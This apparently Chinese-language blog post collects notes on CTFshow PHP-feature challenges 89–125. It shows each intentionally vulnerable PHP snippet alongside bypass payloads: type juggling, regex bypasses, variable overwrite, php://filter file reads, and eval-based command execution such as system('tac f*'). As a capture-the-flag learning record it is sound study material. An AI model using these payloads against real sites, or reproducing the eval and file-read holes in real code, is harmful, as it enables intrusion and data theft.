[CTF]CTFSHOW php特性练习笔记

89

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: [email protected]
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

数组绕过，传入num[]=xxx,上面的if就会返回false，不会进入if

90

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: [email protected]
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval函数的定义:intval() 函数通过使用指定的进制 base 转换（默认是十进制），返回变量 var 的 integer 数值。 intval() 不能用于 object，否则会产生 E_NOTICE 错误并返回 1。
int intval ( mixed $var [, int $base = 10 ] )
当intval函数的base值为0时,通过检测 var 的格式来决定使用的进制：

如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
如果字符串以 "0" 开始，使用 8 进制(octal)；否则，
将使用 10 进制 (decimal)。

所以这里传num=0x117c即可

91

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

preg_match绕过,用%0a即可,主要是这里的正则表达式的$，$会匹配到字符串结尾的换行符（也就是%0a)
即$a=%0aphp，这里借用羽师傅的解释%0aphp 经过第一个匹配时，以换行符为分割也就是%0a，前面因为是空的，所以只匹配换行符后面的，所以可以通过。 经过第二个正则表达式时，因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过，最后输出flag

92

同90

93

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:32:58
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这里特意匹配了一个[a-z]，那就用八进制,?num=010574即可

94

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

用4476.0即可

95

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

注意到$num==4476,这里如果用上一题的payload是不行的，因为4476.0等于4476,看到

 if(!strpos($num, "0")){
        die("no no no!!!");
    }

如果num的第一个字符为0就会nonono!，那第一个用空格代替即可
?num=空格010574

96

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

}

payload:
?u=ddd/../flag.php
?u=伪协议读取

97

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

104

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}



?>

数组绕过。

105

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛？';
$suces='既然你想要那给你吧！';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

变量覆盖漏洞，假设get传一个?a=flag,POST传一个error=a,
那么第一个GET处的$$key=$$value就是$a=$flag此时flag的值在a处，
再看POST的$$key=$$value，传入以后就变成$error=$a那么整个逻辑就是$error=$a=$flag,又不满足了下面的判断导致die($error)，那么就会把flag打印出来。

106

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

get:v2[]=1
post:v1[]=2即可

107

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}
?>

主要是看这个parse_str函数，比如

$a='flag=123&xxx=456';
parse_str($a,$b);
echo $b['flag'];   //输出123
echo $b['xxx'];   //输出456

所以这里post传v1=flag=v3进行md5后的值,v3正常传值。传入后就相当于parse_str(flag=xxxx,$v2),所以就会满足$v2['flag']==md5($v3)从而拿到flag

108

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
error

估计就是ereg这里有洞了，百度了一下还真有,存在一个截断漏洞，只会匹配%00前的内容,那么到下一步intval(strrev($_GET['c']))==0x36d
先反转，再intval,0x36d转为10进制是877所以最后传入c=ss%00778即可

109

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

异常类报错进行命令执行.
payload:?v1=Exception();&v2=system('tac f*')

110

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}
?>

知识盲区,?v1=FilesystemIterator&v2=getcwd得到fl36dga.txt，访问即可

111

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>

只用字母，满足v1中有ctfshow即可进入getFlag函数，可以让v2=GLOBALS,然后就var_dump出全局变量，就能看到flag

112 113

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

有is_file检测，所以肯定不能直接传值文件名，而下方的highlight可以用伪协议来读取文件，所以直接
?file=php://filter/resource=flag.php
过滤了base64,rot13，还可以用别的，比如file=php://filter/read=convert.quoted-printable-encode/resource=flag.php和
file=compress.zlib://flag.php
113还可以用/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php查了一下，说是highlight_file函数检测软链接有漏洞

114

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼！";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼！

php://filter/resource=flag.php

115

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

num=%0c36,具体原理参考羽师傅博客这里

123 125

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: [email protected]
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

第一个点就是要传CTF_SHOW,CTF_SHJOW.COM,但是php的变量名是不能有点的，穿进去会被解析成_,看了羽师傅博客发现CTF%5BSHOW.COM这样就可以传一个变量名为CTF_SHOW.COM的，也不知道原理。
第二个点是关于这个$_SERVER[‘argv’],根据羽师傅博客知道

web网页模式下

	在web页模式下必须在php.ini开启register_argc_argv配置项
	
    设置register_argc_argv = On(默认是Off)，重启服务，$_SERVER[‘argv’]才会有效果

    这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

    $argv,$argc在web模式下不适用

可以本地看看$_SERVER[‘QUERY_STRING’]返回什么.

$a=$_SERVER['QUERY_STRING'];
echo $a;

直接查看，什么都没有，如果url?flag=123，就会显示flag=123
把php.ini下的register_argc_argc打开然后

//$a=$_SERVER['QUERY_STRING'];
$a=$_SERVER['argv'];
echo $a[0];

可以发现是一样的

继续测试

//$a=$_SERVER['QUERY_STRING'];
$a=$_SERVER['argv'];
echo ("\$a[0]:".$a[0]);
echo ("\$a[1]:".$a[1]);
//url/?a=1+fl0g=flag_give_me
//$a[0]:a=1
//$a[1]:fl0g=flag_give_me

通过加号可以分割argv，所以这里数组被分割
所以就有预期解如下,通过parse_str查询字符串解析到变量中
预期:

get: a=1+fl0g=flag_give_me
post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

别的：

get:  $fl0g=flag_give_me;
post:  CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])

post: CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag